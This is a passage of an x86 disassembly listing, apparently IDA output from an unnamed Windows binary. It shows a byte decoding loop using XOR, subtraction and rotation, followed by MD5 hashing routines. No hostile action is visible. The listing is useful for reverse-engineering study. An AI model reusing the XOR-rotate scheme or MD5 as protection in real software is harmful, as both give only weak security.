		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _lrotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F075
; ---------------------------------------------------------------------------


loc_40F0C4:				; CODE XREF: sub_40F040+42j
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40F0D4
; ---------------------------------------------------------------------------


loc_40F0CD:				; CODE XREF: sub_40F040+D8j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40F0D4:				; CODE XREF: sub_40F040+8Bj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F11A
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _lrotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F0CD
; ---------------------------------------------------------------------------


loc_40F11A:				; CODE XREF: sub_40F040+98j
		mov	eax, [ebp+arg_4]
		leave
		retn
sub_40F040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F11F	proc near		; CODE XREF: sub_40ECEB+Dp
					; sub_40ED6E+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 67452301h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 98BADCFEh
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 10325476h
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+10h], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+14h], 0
		pop	ebp
		retn
sub_40F11F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F159	proc near		; CODE XREF: sub_40ECEB+1Dp
					; sub_40ED6E+1Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax*8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+10h], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F18E
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+14h], eax


loc_40F18E:				; CODE XREF: sub_40F159+26j
		mov	eax, [ebp+arg_8]
		shr	eax, 1Dh
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		add	ecx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], ecx
		mov	eax, [ebp+var_4]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_40F21C
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_8], eax
		push	40h
		pop	eax
		sub	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F1E8
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	locret_40F26C
; ---------------------------------------------------------------------------


loc_40F1E8:				; CODE XREF: sub_40F159+77j
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]
		mov	[ebp+arg_8], eax


loc_40F21C:				; CODE XREF: sub_40F159+59j
					; sub_40F159+FCj
		cmp	[ebp+arg_8], 40h
		jb	short loc_40F257
		push	40h
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, 40h
		mov	[ebp+arg_8], eax
		jmp	short loc_40F21C
; ---------------------------------------------------------------------------


loc_40F257:				; CODE XREF: sub_40F159+C7j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch

locret_40F26C:				; CODE XREF: sub_40F159+8Aj
		leave
		retn
sub_40F159	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F26E	proc near		; CODE XREF: sub_40ECEB+2Ep
					; sub_40ED6E+2Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+10h]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	80h
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		push	3Fh
		pop	eax
		sub	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 8
		jnb	short loc_40F2E1
		push	[ebp+var_8]
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	38h
		push	0
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_40F2F5
; ---------------------------------------------------------------------------


loc_40F2E1:				; CODE XREF: sub_40F26E+3Bj
		mov	eax, [ebp+var_8]
		sub	eax, 8
		push	eax
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_40F2F5:				; CODE XREF: sub_40F26E+71j
		push	8
		mov	eax, [ebp+arg_4]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, 50h
		push	eax
		call	sub_40F33F
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	10h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F33F
		add	esp, 0Ch
		push	4
		push	0
		push	[ebp+arg_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		leave
		retn
sub_40F26E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F33F	proc near		; CODE XREF: sub_40F26E+97p
					; sub_40F26E+B8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_40F35E
; ---------------------------------------------------------------------------


loc_40F34E:				; CODE XREF: sub_40F33F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_40F35E:				; CODE XREF: sub_40F33F+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_40F3CC
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 8
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+1], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 10h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+2], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 18h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+3], al
		jmp	short loc_40F34E
; ---------------------------------------------------------------------------

locret_40F3CC:				; CODE XREF: sub_40F33F+25j
		leave
		retn
sub_40F33F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3CE	proc near		; CODE XREF: sub_40F159+AAp
					; sub_40F159+E3p ...

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	40h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_410244
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-28955B88h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-173848AAh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+242070DBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3E423112h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0A83F051h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4787C62Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-57CFB9EDh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-2B96AFFh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+698098D8h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-74BB0851h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0A44Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-76A32842h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6B901122h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-2678E6Dh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5986BC72h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+49B40821h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-9E1DA9Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3FBF4CC0h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+265E5A51h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-16493856h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-29D0EFA3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+2441453h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-275E197Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-182C0438h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+21E1CDE6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3CC8F82Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0B2AF279h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+455A14EDh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-561C16FBh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3105C08h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+676F02D9h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
